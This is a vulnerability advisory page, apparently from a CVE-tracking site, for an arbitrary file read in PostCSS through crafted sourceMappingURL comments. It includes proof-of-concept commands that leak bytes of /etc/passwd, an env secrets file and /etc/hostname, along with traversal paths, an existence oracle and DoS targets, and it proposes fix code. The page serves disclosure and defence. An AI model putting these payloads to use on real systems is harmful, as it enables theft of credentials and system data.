Skip to main content

PostCSS EUVDEUVD-2026-49376

| CVE-2026-45623 HIGH
Path Traversal (CWE-22)
2026-07-23 https://github.com/postcss/postcss GHSA-6g55-p6wh-862q
7.5
CVSS 3.1 · Vendor: https://github.com/postcss/postcss
Share

Severity by source

Vendor (https://github.com/postcss/postcss) PRIMARY
7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
vuln.today AI
8.2 HIGH

Attacker-controlled CSS under default options gives unauthenticated network read (C:H via file bytes/oracle); no integrity impact; A:L added for the readFileSync DoS against device/large files.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:L/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/postcss/postcss).

CVSS VectorVendor: https://github.com/postcss/postcss

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Lifecycle Timeline

3
Source Code Evidence Fetched
Jul 23, 2026 - 15:36 vuln.today
Analysis Generated
Jul 23, 2026 - 15:36 vuln.today
CVE Published
Jul 23, 2026 - 15:06 github-advisory
HIGH 7.5

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 56 npm packages depend on postcss (16 direct, 40 indirect)

Ecosystem-wide dependent count for version 8.5.12.

DescriptionCVE.org

Summary

PostCSS's PreviousMap parses the `/*

sourceMappingURL=PATH */ comment from any CSS string passed to process() and dereferences PATH against the local filesystem with no scheme, allowlist, or traversal check. An attacker who controls the CSS input can cause the host process to read any file readable by Node and leak the first ~10 bytes of its content through the resulting JSON.parse SyntaxError message. The bug also yields a precise file-existence oracle and a controllable-read primitive that may be combined with large-file targets for DoS. The behaviour is triggered with PostCSS's default options - no from, no map`, no plugins required - and is therefore reachable from any pipeline that runs untrusted CSS through PostCSS (CMS themes, user-uploaded styles, browser-extension/userstyle processors, build pipelines for third-party packages, blog comment renderers, etc.).

Details

The dangerous chain lives in lib/previous-map.js and is wired into every Input construction at lib/input.js:70-77.

Input constructor (lib/input.js:70-77):

js
if (pathAvailable && sourceMapAvailable) {
  let map = new PreviousMap(this.css, opts)
  if (map.text) {
    this.map = map
    let file = map.consumer().file
    if (!this.file && file) this.file = this.mapResolve(file)
  }
}

PreviousMap constructor (lib/previous-map.js:17-29):

js
constructor(css, opts) {
  if (opts.map === false) return
  this.loadAnnotation(css)
  this.inline = this.startWith(this.annotation, 'data:')

  let prev = opts.map ? opts.map.prev : undefined
  let text = this.loadMap(opts.from, prev)
  ...
}

Note opts.map = false is the only short-circuit. With default options (opts.map = undefined), the rest of the constructor - including the filesystem read - executes.

loadAnnotation (lib/previous-map.js:72-84) extracts the URL without sanitisation:

js
loadAnnotation(css) {
  let comments = css.match(/\/\*\s*
# sourceMappingURL=/g)
  if (!comments) return
  let start = css.lastIndexOf(comments.pop())
  let end = css.indexOf('*/', start)
  if (start > -1 && end > -1) {
    this.annotation = this.getAnnotationURL(css.substring(start, end))
  }
}

getAnnotationURL (lib/previous-map.js:59-61) only strips the `/*

sourceMappingURL=` prefix and trims whitespace - no scheme check, no path normalisation, no allowlist.

loadMap (lib/previous-map.js:124-128) - when prev is absent and the annotation is not an inline data: URI:

js
} else if (this.annotation) {
  let map = this.annotation
  if (file) map = join(dirname(file), map)
  return this.loadFile(map)
}
  • If opts.from is unset, file is undefined and the raw attacker-supplied path (e.g. /etc/passwd) is used directly.
  • If opts.from is set, path.join(dirname(file), attackerPath) is used. path.join does not block .. segments, so ../../../../../etc/passwd resolves outside the intended directory.

loadFile (lib/previous-map.js:86-92) is the sink:

js
loadFile(path) {
  this.root = dirname(path)
  if (existsSync(path)) {
    this.mapFile = path
    return readFileSync(path, 'utf-8').toString().trim()
  }
}

The bytes are stored in this.text. Input immediately invokes map.consumer() (lib/input.js:74), which constructs a SourceMapConsumer (lib/previous-map.js:33). When the file is not valid source-map JSON (the common case), source-map-js calls JSON.parse, and V8's SyntaxError message embeds the first ~10 bytes of the file content:

Unexpected token 'r', "root:x:0:0"... is not valid JSON

This error is propagated back to the caller. Any application that surfaces PostCSS errors (logs, HTTP 500 responses, build-tool output, debug pages) discloses those bytes to the attacker.

Trust-boundary analysis:

  • Attacker controls: CSS input passed to postcss().process(css, opts?).
  • Server resources: any file readable by the Node process - typically including app config, environment files, SSH keys, /etc/passwd, /proc/self/environ, etc.
  • No mitigations: there is no path validation, scheme allowlist, traversal check, or symlink check. The only relevant check (startWith(annotation, 'data:')) routes inline URIs to decodeInline; everything else hits loadFile.

Primitives obtained:

  • (a) Arbitrary file read - bytes loaded into Node memory.
  • (b) Information disclosure - first ~10 bytes leaked via JSON.parse SyntaxError message.
  • (c) File-existence oracle - non-existent paths return silently from loadFile (existsSync is false → returns undefined → no map text → no consumer call → no error). Existent non-JSON paths throw. Existent JSON paths succeed silently. Three distinguishable states.
  • (d) DoS primitive - directing the read at /dev/zero, very large files, or device files can stall or crash the process.

PoC

All commands executed against this repository's HEAD (postcss 8.5.10) on Node v22.12.0.

Vector 1 - Absolute path, default options (no from, no map):

bash
$ node -e 'const p=require("postcss"); \
  try { p().process("a{color:red}\n/*
# sourceMappingURL=/etc/passwd */"); } \
  catch(e){console.log(e.message)}'
Unexpected token 'r', "root:x:0:0"... is not valid JSON

The first 10 bytes of /etc/passwd (root:x:0:0) are leaked.

Vector 2 - Relative .. traversal with opts.from set (simulates a build pipeline that pins from to the source file):

bash
$ node -e 'const p=require("postcss"); \
  p().process("a{color:red}\n/*
# sourceMappingURL=../../../../../etc/passwd */", \
              {from:"/var/www/html/styles/main.css", map:{inline:false}}) \
   .catch(e=>console.log(e.message))'
Unexpected token 'r', "root:x:0:0"... is not valid JSON

path.join('/var/www/html/styles', '../../../../../etc/passwd') resolves to /etc/passwd.

Vector 3 - File-existence oracle:

bash
# Existing non-JSON file → throws (file confirmed to exist)
$ node -e 'require("postcss")().process("a{}\n/*
# sourceMappingURL=/etc/passwd */")'
SyntaxError: Unexpected token 'r', "root:x:0:0"... is not valid JSON
# Non-existent file → returns silently (file confirmed absent)
$ node -e 'r=require("postcss")().process("a{}\n/*
# sourceMappingURL=/no/such/file */"); console.log("ok")'
ok

Vector 4 - Custom file-content leak:

bash
$ printf 'API_KEY=sk-secret-12345\n' > /tmp/server-secret.env
$ node -e 'require("postcss")().process("a{}\n/*
# sourceMappingURL=/tmp/server-secret.env */")' 2>&1 | head -1
SyntaxError: Unexpected token 'A', "API_KEY=sk"... is not valid JSON

The first 10 bytes of /tmp/server-secret.env (API_KEY=sk) are leaked - sufficient to confirm a token's presence and, in many cases, recover its prefix.

Filesystem-call trace (proves the read happens with no opts at all):

js
const fs = require('fs');
const orig = fs.readFileSync;
fs.readFileSync = function(p){
  if (typeof p==='string' && p.startsWith('/etc')) console.log('[FILE READ]:', p);
  return orig.apply(this, arguments);
};
require('postcss')().process('a{}\n/*
# sourceMappingURL=/etc/hostname */');
// → [FILE READ]: /etc/hostname
// → SyntaxError: Unexpected token 'D', "Debian-tri"... is not valid JSON

Impact

  • Arbitrary file read of any file readable by the Node process from any CSS-processing context that accepts attacker-influenced CSS. PostCSS has hundreds of millions of weekly npm downloads and is the standard CSS processor for build tools (webpack postcss-loader, vite, parcel, Next.js, Gatsby, etc.) and for runtime CSS-handling libraries (CSS Modules tools, CSS minifiers, theme processors). Any pipeline that runs untrusted user CSS - CMS theme uploads, user-styled blog posts, browser-extension/userstyle services, multi-tenant build farms, third-party-package build pipelines - is exposed.
  • Confidentiality leak of the first ~10 bytes of the targeted file via JSON.parse SyntaxError. This is enough to recover SSH-key headers, environment-variable prefixes (API_KEY=sk…), /etc/passwd records, the start of /proc/self/environ, and other high-value secrets, and to fingerprint the host (Debian-tri… from /etc/hostname).
  • File-existence oracle with three distinguishable response states (silent success, JSON.parse error, no-such-file silence), enabling reconnaissance of the host filesystem layout and confirmation of installed software, user accounts, and configuration files.
  • DoS by targeting /dev/zero, /proc/kcore, very large files, or named pipes - readFileSync is a synchronous, unbounded read.
  • Default-on: triggered with postcss().process(css) and no options. The only configuration that disables the bug is the explicit, undocumented-for-this-purpose { map: false }.

Recommended Fix

The root cause is that loadFile accepts any path the attacker supplies inside a CSS comment. The annotation is meant for tooling, not for production CSS processing of untrusted input. Two layered fixes:

  1. Refuse traversal/absolute paths in loadMap (defence-in-depth):
js
   // lib/previous-map.js
   loadMap(file, prev) {
     if (prev === false) return false
     if (prev) { /* unchanged */ }
     else if (this.inline) {
       return this.decodeInline(this.annotation)
     } else if (this.annotation) {
       let annotation = this.annotation
       // Reject schemes (other than data:, handled above) and absolute paths.
       if (/^[a-zA-Z][a-zA-Z0-9+.-]*:/.test(annotation)) return
       if (require('path').isAbsolute(annotation)) return
       if (!file) return  // No base path → cannot safely resolve.
       const base = require('path').resolve(require('path').dirname(file))
       const resolved = require('path').resolve(base, annotation)
       // Refuse anything that escapes the base directory.
       if (resolved !== base && !resolved.startsWith(base + require('path').sep)) {
         return
       }
       return this.loadFile(resolved)
     }
   }
  1. Require explicit opt-in to follow on-disk source-map annotations: gate the loadFile(map) call in loadMap behind an option such as opts.map.annotation = true or opts.map.followAnnotation = true. Today, the only way to opt out is { map: false }, which also disables in-memory previous-map handling. Inverting the default - only follow disk-resident annotations when explicitly asked - eliminates the entire attack surface for callers that pass untrusted CSS, while preserving build-tool use cases where the annotation is trusted.

A user-facing changelog entry should warn that postcss().process(untrustedCss) previously read attacker-controlled paths, and recommend auditing applications that surfaced PostCSS errors to end users.

AnalysisAI

Arbitrary file read and information disclosure in PostCSS (npm 'postcss') versions <= 8.5.11 allows an attacker who controls CSS input to make the Node host read any file readable by the process and leak its first ~10 bytes. PostCSS's PreviousMap dereferences the path in a /*# sourceMappingURL=PATH */ comment against the local filesystem with no scheme, allowlist, or traversal checks, and the read fires under default options (no 'from', no 'map', no plugins). …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Submit crafted CSS with sourceMappingURL comment
Delivery
PreviousMap extracts path unsanitized
Exploit
loadFile reads attacker-chosen file
Execution
SourceMapConsumer JSON.parse throws SyntaxError
Impact
Leaked file bytes returned in error output

Vulnerability AssessmentAI

Exploitation Exploitation requires only that attacker-controlled CSS text be passed to PostCSS's process()/parse() under default options - no 'from', no 'map' option, and no plugins are needed, so default configurations of postcss <= 8.5.11 are affected. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N, 7.5) is internally consistent with the description: default-on, network-reachable, unauthenticated, no user interaction, confidentiality-only impact. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario A multi-tenant CMS or userstyle service accepts CSS uploads and runs each through postcss().process(css) with default options. An attacker uploads 'a{}\n/*# sourceMappingURL=/proc/self/environ */'; PostCSS reads the file and the resulting JSON.parse SyntaxError - surfaced in the HTTP 500 body or build log - leaks the leading bytes of the process environment. …
Remediation Vendor-released patch: upgrade postcss to 8.5.12 or later (fix commits aaec7b78b3ce2792585b4b300ef1bd5dd5b3e8ad and c64b7488d2731dfa16213739b42c34faf5a9eba3; the fix wraps the loaded map in a guarded JSON.parse so unparsable content is discarded instead of surfaced). … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours, audit all systems running PostCSS version 8.5.11 or earlier, prioritizing those that process untrusted or user-supplied CSS. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2013-4660 MEDIUM POC
6.8 Jun 28

The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic

CVE-2015-5688 MEDIUM POC
5.0 Sep 04

Directory traversal vulnerability in lib/app/index.js in Geddy before 13.0.8 for Node.js allows remote attackers to read

CVE-2026-45321 CRITICAL POC
9.6 May 12

Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio

CVE-2014-7192 CRITICAL POC
10.0 Dec 11

Eval injection vulnerability in index.js in the syntax-error package before 1.1.1 for Node.js 0.10.x, as used in IBM Rat

CVE-2013-4450 MEDIUM POC
5.0 Oct 21

The HTTP server in Node.js 0.10.x before 0.10.21 and 0.8.x before 0.8.26 allows remote attackers to cause a denial of se

Share

EUVD-2026-49376 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy